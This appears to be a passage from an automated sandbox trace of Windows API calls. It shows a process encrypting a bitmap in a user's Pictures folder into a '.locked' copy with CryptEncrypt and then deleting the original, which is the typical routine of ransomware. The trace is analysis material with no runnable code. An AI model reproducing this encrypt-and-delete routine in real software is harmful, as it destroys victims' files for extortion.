ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.440] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.440] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.441] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.441] GetFileType (hFile=0x858) returned 0x1 [0135.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.441] GetFileType (hFile=0x858) returned 0x1 [0135.441] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.441] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.441] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", lpFilePart=0x0) returned 0x6f [0135.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.441] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.442] GetFileType (hFile=0x874) returned 0x1 [0135.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.442] GetFileType (hFile=0x874) returned 0x1 [0135.442] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.442] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x6aa8864 | out: pbBuffer=0x6aa8864) returned 1 [0135.442] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.442] CryptDuplicateKey (in: hKey=0x8e84bf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84f78) returned 1 [0135.442] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.442] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x6aa9b20*=0x1, dwFlags=0x0) returned 1 [0135.442] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x6aa9aec, dwFlags=0x0) returned 1 [0135.442] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0135.443] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.443] ReadFile (in: hFile=0x858, lpBuffer=0x6aad07c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aad07c*, lpNumberOfBytesRead=0x99ae7a8*=0x478a, lpOverlapped=0x0) returned 1 [0135.443] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ac1088*, pdwDataLen=0x99ae79c*=0x4780, dwBufLen=0x4780 | out: pbData=0x6ac1088*, pdwDataLen=0x99ae79c*=0x4780) returned 1 [0135.443] WriteFile (in: hFile=0x874, lpBuffer=0x6aa8924*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6aa8924*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.444] WriteFile (in: hFile=0x874, lpBuffer=0x6ac2074*, nNumberOfBytesToWrite=0x3794, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ac2074*, lpNumberOfBytesWritten=0x99ae780*=0x3794, lpOverlapped=0x0) returned 1 [0135.444] ReadFile (in: hFile=0x858, lpBuffer=0x6aad07c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aad07c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.444] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ac582c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6ac582c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.444] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ac5860*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6ac5860*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.444] WriteFile (in: hFile=0x874, lpBuffer=0x6aa8924*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6aa8924*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.444] CloseHandle (hObject=0x874) returned 1 [0135.445] CloseHandle (hObject=0x858) returned 1 [0135.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.445] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0135.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.447] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.447] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.447] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.447] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.447] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.447] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.447] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.448] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.449] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.449] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.449] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.449] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.450] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.450] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0135.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.450] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.451] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.451] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp\\", lpFilePart=0x0) returned 0x69 [0135.451] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.451] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.451] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.451] CoTaskMemFree (pv=0x8eb8930) [0135.452] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0135.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp"), fInfoLevelId=0x0, lpFileInformation=0x6ae5e88 | out: lpFileInformation=0x6ae5e88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f237b0, ftCreationTime.dwHighDateTime=0x1d4ad39, ftLastAccessTime.dwLowDateTime=0x867b9520, ftLastAccessTime.dwHighDateTime=0x1d4a162, ftLastWriteTime.dwLowDateTime=0x867b9520, ftLastWriteTime.dwHighDateTime=0x1d4a162, nFileSizeHigh=0x0, nFileSizeLow=0x478a)) returned 1 [0135.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.452] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 1 [0135.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.455] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp.locked")) returned 0x20 [0135.455] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp.locked")) returned 0x20 [0135.455] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: 